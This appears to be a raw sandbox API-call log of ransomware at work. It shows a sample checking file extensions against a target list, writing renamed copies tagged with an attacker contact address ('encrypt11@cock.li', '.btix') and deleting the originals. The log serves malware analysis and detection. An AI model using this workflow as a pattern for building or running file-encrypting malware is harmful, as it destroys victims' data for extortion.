[0136.252] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.252] WriteFile (in: hFile=0x554, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.252] SetEndOfFile (hFile=0x554) returned 1 [0136.252] CloseHandle (hObject=0x554) returned 1 [0136.252] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.252] SetEndOfFile (hFile=0x4c8) returned 1 [0136.255] CloseHandle (hObject=0x4c8) returned 1 [0136.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0136.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0136.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0136.255] lstrlenW (lpString=".doc") returned 4 [0136.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.256] lstrlenW (lpString=".docx") returned 5 [0136.256] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0136.256] lstrlenW (lpString=".pdf") returned 4 [0136.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.256] lstrlenW (lpString=".xls") returned 4 [0136.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.256] lstrlenW (lpString=".xlsx") returned 5 [0136.256] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0136.256] lstrlenW (lpString=".ppt") returned 4 [0136.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0136.256] lstrlenW (lpString=".zip") returned 4 [0136.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.256] lstrlenW (lpString=".rar") returned 4 [0136.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.256] lstrlenW (lpString=".bz2") returned 4 [0136.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.256] lstrlenW (lpString=".7z") returned 3 [0136.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0136.256] lstrlenW (lpString=".dbf") returned 4 [0136.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0136.256] lstrlenW (lpString=".1cd") returned 4 [0136.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0136.256] lstrlenW (lpString=".jpg") returned 4 [0136.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0136.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0136.257] lstrlenW (lpString=".doc") returned 4 [0136.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.257] lstrlenW (lpString=".docx") returned 5 [0136.257] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0136.257] lstrlenW (lpString=".pdf") returned 4 [0136.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.257] lstrlenW (lpString=".xls") returned 4 [0136.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.257] lstrlenW (lpString=".xlsx") returned 5 [0136.257] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0136.257] lstrlenW (lpString=".ppt") returned 4 [0136.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0136.257] lstrlenW (lpString=".zip") returned 4 [0136.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.257] lstrlenW (lpString=".rar") returned 4 [0136.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.257] lstrlenW (lpString=".bz2") returned 4 [0136.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.257] lstrlenW (lpString=".7z") returned 3 [0136.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0136.257] lstrlenW (lpString=".dbf") returned 4 [0136.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0136.257] lstrlenW (lpString=".1cd") returned 4 [0136.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0136.257] lstrlenW (lpString=".jpg") returned 4 [0136.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.258] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0136.258] lstrlenW (lpString="J0099150.JPG") returned 12 [0136.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.269] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=21914) returned 1 [0136.269] CloseHandle (hObject=0x548) returned 1 [0136.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220 [0136.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.271] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.271] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0136.272] GetLastError () returned 0x0 [0136.272] ReadFile (in: hFile=0x548, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x559a, lpOverlapped=0x0) returned 1 [0136.281] WriteFile (in: hFile=0x42c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x55a0, lpOverlapped=0x0) returned 1 [0136.282] ReadFile (in: hFile=0x548, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.282] WriteFile (in: hFile=0x42c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.282] SetEndOfFile (hFile=0x42c) returned 1 [0136.282] CloseHandle (hObject=0x42c) returned 1 [0136.282] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.282] SetEndOfFile (hFile=0x548) returned 1 [0136.288] CloseHandle (hObject=0x548) returned 1 [0136.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0136.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0136.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0136.289] lstrlenW (lpString=".doc") returned 4 [0136.289] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.289] lstrlenW (lpString=".docx") returned 5 [0136.289] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0136.289] lstrlenW (lpString=".pdf") returned 4 [0136.289] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.289] lstrlenW (lpString=".xls") returned 4 [0136.289] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.289] lstrlenW (lpString=".xlsx") returned 5 [0136.289] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0136.290] lstrlenW (lpString=".ppt") returned 4 [0136.290] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0136.290] lstrlenW (lpString=".zip") returned 4 [0136.290] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.290] lstrlenW (lpString=".rar") returned 4 [0136.290] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.290] lstrlenW (lpString=".bz2") returned 4 [0136.290] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.290] lstrlenW (lpString=".7z") returned 3 [0136.290] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0136.290] lstrlenW (lpString=".dbf") returned 4 [0136.290] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0136.290] lstrlenW (lpString=".1cd") returned 4 [0136.290] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0136.290] lstrlenW (lpString=".jpg") returned 4 [0136.290] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0136.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0136.290] lstrlenW (lpString=".doc") returned 4 [0136.290] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.290] lstrlenW (lpString=".docx") returned 5 [0136.290] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0136.290] lstrlenW (lpString=".pdf") returned 4 [0136.290] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.290] lstrlenW (lpString=".xls") returned 4 [0136.290] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.290] lstrlenW (lpString=".xlsx") returned 5 [0136.290] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0136.290] lstrlenW (lpString=".ppt") returned 4 [0136.290] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0136.290] lstrlenW (lpString=".zip") returned 4 [0136.291] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.291] lstrlenW (lpString=".rar") returned 4 [0136.291] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.291] lstrlenW (lpString=".bz2") returned 4 [0136.291] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.291] lstrlenW (lpString=".7z") returned 3 [0136.291] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0136.291] lstrlenW (lpString=".dbf") returned 4 [0136.291] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0136.291] lstrlenW (lpString=".1cd") returned 4 [0136.291] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0136.291] lstrlenW (lpString=".jpg") returned 4 [0136.291] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.291] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0136.291] lstrlenW (lpString="J0099151.WMF") returned 12 [0136.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.292] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=26086) returned 1 [0136.292] CloseHandle (hObject=0x548) returned 1 [0136.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220 [0136.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.292] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.292] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0136.293] GetLastError () returned 0x0 [0136.293] ReadFile (in: hFile=0x548, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x65e6, lpOverlapped=0x0) returned 1 [0136.306] WriteFile (in: hFile=0x42c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x65f0, lpOverlapped=0x0) returned 1 [0136.307] ReadFile (in: hFile=0x548, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.307] WriteFile (in: hFile=0x42c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.307] SetEndOfFile (hFile=0x42c) returned 1 [0136.308] CloseHandle (hObject=0x42c) returned 1 [0136.308] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.308] SetEndOfFile (hFile=0x548) returned 1 [0136.310] CloseHandle (hObject=0x548) returned 1 [0136.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0136.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0136.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0136.311] lstrlenW (lpString=".doc") returned 4 [0136.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.311] lstrlenW (lpString=".docx") returned 5 [0136.311] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0136.311] lstrlenW (lpString=".pdf") returned 4 [0136.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.311] lstrlenW (lpString=".xls") returned 4 [0136.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.311] lstrlenW (lpString=".xlsx") returned 5 [0136.311] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0136.311] lstrlenW (lpString=".ppt") returned 4 [0136.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0136.311] lstrlenW (lpString=".zip") returned 4 [0136.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.311] lstrlenW (lpString=".rar") returned 4 [0136.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.311] lstrlenW (lpString=".bz2") returned 4 [0136.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.311] lstrlenW (lpString=".7z") returned 3 [0136.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0136.312] lstrlenW (lpString=".dbf") returned 4 [0136.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0136.312] lstrlenW (lpString=".1cd") returned 4 [0136.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0136.312] lstrlenW (lpString=".jpg") returned 4 [0136.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0136.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0136.312] lstrlenW (lpString=".doc") returned 4 [0136.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.312] lstrlenW (lpString=".docx") returned 5 [0136.312] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0136.312] lstrlenW (lpString=".pdf") returned 4 [0136.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.312] lstrlenW (lpString=".xls") returned 4 [0136.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.312] lstrlenW (lpString=".xlsx") returned 5 [0136.312] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0136.312] lstrlenW (lpString=".ppt") returned 4 [0136.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0136.312] lstrlenW (lpString=".zip") returned 4 [0136.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.312] lstrlenW (lpString=".rar") returned 4 [0136.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.312] lstrlenW (lpString=".bz2") returned 4 [0136.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.312] lstrlenW (lpString=".7z") returned 3 [0136.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0136.312] lstrlenW (lpString=".dbf") returned 4 [0136.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0136.313] lstrlenW (lpString=".1cd") returned 4 [0136.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0136.313] lstrlenW (lpString=".jpg") returned 4 [0136.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.313] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0136.313] lstrlenW (lpString="J0099153.WMF") returned 12 [0136.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.313] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=13874) returned 1 [0136.313] CloseHandle (hObject=0x548) returned 1 [0136.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220 [0136.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.314] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.314] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0136.315] GetLastError () returned 0x0 [0136.315] ReadFile (in: hFile=0x548, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x3632, lpOverlapped=0x0) returned 1 [0136.606] WriteFile (in: hFile=0x42c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x3640, lpOverlapped=0x0) returned 1 [0136.607] ReadFile (in: hFile=0x548, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.607] WriteFile (in: hFile=0x42c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.609] SetEndOfFile (hFile=0x42c) returned 1 [0136.820] CloseHandle (hObject=0x42c) returned 1 